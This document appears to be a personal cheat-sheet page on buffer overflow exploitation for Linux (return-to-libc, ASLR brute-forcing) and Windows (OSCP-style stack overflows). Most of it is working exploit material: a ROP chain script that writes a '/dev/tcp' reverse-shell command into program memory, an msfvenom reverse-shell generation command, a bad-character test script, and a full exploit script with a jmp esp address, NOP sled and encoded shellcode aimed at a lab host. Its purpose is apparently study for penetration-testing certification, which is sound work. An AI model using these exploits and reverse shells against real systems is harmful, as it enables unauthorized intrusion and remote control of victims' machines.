Return to Main Page
Buffer Overflows
Linux BOF
C Program
- BOF vulnerable funtions: strcpy
- Not BOF vulnerable functions: strncmp, strncpy
Little endian encoding with python
- from pwn import *; p64(<input>)
- import struct; struct.pack("<I", <input>)
Compile with gcc -ggdb
- Add debug information to assist with BOF creation
Check BOF protections
Canary
|
|
Fortify
|
|
NX
|
Enabled = Cannot run from the stack
Use return to libc method
- Overwrite return address so the computer jumps to the desired function. Typically the system
function with the argument /bin/sh
- https://0xdf.gitlab.io/2019/03/23/htb-frolic.html
|
Position Independent Code (PIE)
|
|
Relocation Read-Only (RELRO)
|
|
Address Space Layout Randomization (ASLR)
- cat /proc/sys/kernel/randomize_va_space
|
OS setting that randomizes where executables are loaded into memory
Bypass ASLR on 32-bit machines by bruteforcing addresses. Will not work on 64-bit
- for i in {1..5000}; do <BOF>; done
|
Return to libc - Direct Shell
Get base libc address |
ldd <BOFable Program>
- Output: libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
|
Get address for System function |
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system@"
- gdb-peda$ p 0xb7e19000 + 0x<readelf hex
address>
|
Get address for Exit function |
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit@"
- gdb-peda$ p 0xb7e19000 + 0x<readelf hex
address>
|
Get hex address for "/bin/sh" |
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
- gdb-peda$ p 0xb7e19000 + 0x<Strings -a -t x
hex address>
|
Assemble final BOF command/input |
$(python -c 'print("a"*<offset> + "<System>" + "<Exit>" +
"</bin/sh>")')
- Find offset by sending a pattern of characters (msf-pattern_create) to trigger BOF and find
where in the pattern the pointer instruction lands
- Addresses must be little-endian encoded
- 0xb7e53da0 = \xa0\x3d\xe5\xb7
Python3 script to assemble BOF command/input
#! /usr/bin/env python3
import struct
import sys
libc_base = <libc address>
system = struct.pack("<I", libc_base + 0x<system@@ address>)
exit = struct.pack("<I", libc_base + 0x<exit@@ address>)
binsh = struct.pack("<I", libc_base + 0x</bin/sh address>)
path = b"A" * <msf-patten_offset> + system + exit + binsh
sys.stdout.buffer.write(path)
|
Return to libc - Indirect Shell
Write a reverse shell command to BOF program memory and then execute it
- Useful when unable to directly interact with the bof program (i.e. upload a file and the server executes the file against the BOF program separately.
from pwn import *
# RSP Overwrite
offset = <bof offset>
# /proc/398/maps
base = 0x<BOF program base address>
libc_base = 0x<libc base address>
# objdump -d libc.so | grep system
libc_system = p64(libc_base + 0x<address>)
### GADGETS ###
# ropper -f libc-2.31.so --search "pop rdi; ret"
pop_rdi = p64(libc_base + 0x<address>)
# ropper -f libc-2.31.so --search "pop rdx; ret"
pop_rdx = p64(libc_base + 0x<address>)
# ropper -f libc-2.31.so --search "mov [rdi], rdx"
mov_rdx_rdi = p64(libc_base + 0x<address>)
# readelf -x .data <bof program> (Or another writable section. use readelf -S <bof program>)
writable = base + 0x<address>
cmd = b"bash -c 'bash -i >& /dev/tcp/<ip address>/<port> 0>&1'"
rop = b"A" * offset
for i in range(0, len(cmd), 8):
rop += pop_rdi
rop += p64(writable + i)
rop += pop_rdx
rop += cmd[i:i+8].ljust(8, b"\x00")
rop += mov_rdx_rdi
rop += pop_rdi
rop += p64(writable)
rop += libc_system
with open('bof.out', 'wb') as f:
f.write(rop)
Assembly Language
PUSH <value> |
write a value to the top of the stack |
POP <register> |
Write whatever value is on the top of the stack to a specified register |
CALL |
Pushes the next instruction address to the stack so it can later be returned to
Modifies EIP so that execution jumps to the function being called
|
RET |
Increment ESP by 4
Copies <ESP Value> to <EIP address>
|
PUSH |
Decrement ESP by 4
PUSH <value> --> ESP Address
|
MOV <register 1>, <register 2 > |
Copy <register 2 value & address> to <register 1 value & address> |
SUB <register>, <#> |
Subtract <#> from <register address> |
LEA <register 1>, <register 2> |
Copy <register 2 address> to <register 1 address> |
OSCP/Windows BOF
Step |
Instruction |
Explanation |
1 |
Send a pattern |
msf-pattern_create -l <length> |
2 |
Find offset of where EIP lands when the program crashes |
msf-pattern_offset -l <length> -q <EIP crash> |
3 |
Test for bad characters |
Place bad character test (all possible characters, hex encoded) after the EIP offset
Send buffer overflow and crash the program
Follow ESP in the dump and check if all characters are showing from the bad character test.
If characters are missing, then remove the first one that is not showing in the ESP dump from the
bad character test, and then send the buffer overflow again.
Repeat this process until all characters that are sent in the bad character test successuflly show
in the ESP dump.
|
4 |
Find jmp esp instruction and place it in EIP (after offset) |
!mona jmp -r esp -cpb <bad characters - example: "\x00\x0A">
- Very common bad characters: "\x00\x0A"
Set breakpoint on JMP instruction
- To help troubleshoot add a breakboing on JMP instructions
- immunity debugger command: b <JMP ESP Address>
|
5 |
Generate shell |
msfvenom -p windows/shell_reverse_tcp LHOST=<ip address> LPORT=<port #> -f python
EXITFUNC=thread -v shell -b "\x00\x0a\x0d\<bad characters>" |
6 |
Add NOPS in front of shell |
Only 12 lines should be needed. Add in increments of 4. |
Bad character test:
#!/usr/bin/python
import socket
import struct
RHOST = "192.168.179.10"
RPORT = 7001
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
totlen = 2560
offset = 2288
badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buf = ""
buf += "A" * (offset - len(buf))
buf += "BBBB"
buf += badchars
buf += "C" * (totlen - len(buf))
buf += "\n"
s.send(buf)
print "Sent: {0}".format(buf)
data = s.recv(1024)
print "Received: {0}".format(data)
Example buffer overflow script:
#!/usr/bin/python
import socket
import struct
RHOST = "192.168.179.10"
RPORT = 7001
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
totlen = 2560
offset = 2288
jmp_esp = struct.pack("<I",0x148010cf)
nop_sled = '\x90'*12
shell = b""
shell += b"\xbb\xa1\x52\xa1\x9c\xdd\xc2\xd9\x74\x24\xf4\x5f"
shell += b"\x31\xc9\xb1\x52\x31\x5f\x12\x03\x5f\x12\x83\x66"
shell += b"\x56\x43\x69\x94\xbf\x01\x92\x64\x40\x66\x1a\x81"
shell += b"\x71\xa6\x78\xc2\x22\x16\x0a\x86\xce\xdd\x5e\x32"
shell += b"\x44\x93\x76\x35\xed\x1e\xa1\x78\xee\x33\x91\x1b"
shell += b"\x6c\x4e\xc6\xfb\x4d\x81\x1b\xfa\x8a\xfc\xd6\xae"
shell += b"\x43\x8a\x45\x5e\xe7\xc6\x55\xd5\xbb\xc7\xdd\x0a"
shell += b"\x0b\xe9\xcc\x9d\x07\xb0\xce\x1c\xcb\xc8\x46\x06"
shell += b"\x08\xf4\x11\xbd\xfa\x82\xa3\x17\x33\x6a\x0f\x56"
shell += b"\xfb\x99\x51\x9f\x3c\x42\x24\xe9\x3e\xff\x3f\x2e"
shell += b"\x3c\xdb\xca\xb4\xe6\xa8\x6d\x10\x16\x7c\xeb\xd3"
shell += b"\x14\xc9\x7f\xbb\x38\xcc\xac\xb0\x45\x45\x53\x16"
shell += b"\xcc\x1d\x70\xb2\x94\xc6\x19\xe3\x70\xa8\x26\xf3"
shell += b"\xda\x15\x83\x78\xf6\x42\xbe\x23\x9f\xa7\xf3\xdb"
shell += b"\x5f\xa0\x84\xa8\x6d\x6f\x3f\x26\xde\xf8\x99\xb1"
shell += b"\x21\xd3\x5e\x2d\xdc\xdc\x9e\x64\x1b\x88\xce\x1e"
shell += b"\x8a\xb1\x84\xde\x33\x64\x0a\x8e\x9b\xd7\xeb\x7e"
shell += b"\x5c\x88\x83\x94\x53\xf7\xb4\x97\xb9\x90\x5f\x62"
shell += b"\x2a\x5f\x37\x1b\x19\x37\x4a\xe3\x4c\x94\xc3\x05"
shell += b"\x04\x34\x82\x9e\xb1\xad\x8f\x54\x23\x31\x1a\x11"
shell += b"\x63\xb9\xa9\xe6\x2a\x4a\xc7\xf4\xdb\xba\x92\xa6"
shell += b"\x4a\xc4\x08\xce\x11\x57\xd7\x0e\x5f\x44\x40\x59"
shell += b"\x08\xba\x99\x0f\xa4\xe5\x33\x2d\x35\x73\x7b\xf5"
shell += b"\xe2\x40\x82\xf4\x67\xfc\xa0\xe6\xb1\xfd\xec\x52"
shell += b"\x6e\xa8\xba\x0c\xc8\x02\x0d\xe6\x82\xf9\xc7\x6e"
shell += b"\x52\x32\xd8\xe8\x5b\x1f\xae\x14\xed\xf6\xf7\x2b"
shell += b"\xc2\x9e\xff\x54\x3e\x3f\xff\x8f\xfa\x5f\xe2\x05"
shell += b"\xf7\xf7\xbb\xcc\xba\x95\x3b\x3b\xf8\xa3\xbf\xc9"
shell += b"\x81\x57\xdf\xb8\x84\x1c\x67\x51\xf5\x0d\x02\x55"
shell += b"\xaa\x2e\x07"
buf = ""
buf += "A" * (offset - len(buf))
buf += "BBBB"
buf += jmp_esp
buf += nop_sled
buf += shell
buf += "C" * (totlen - len(buf))
buf += "\n"
s.send(buf)
print "Sent: {0}".format(buf)
data = s.recv(1024)
print "Received: {0}".format(data)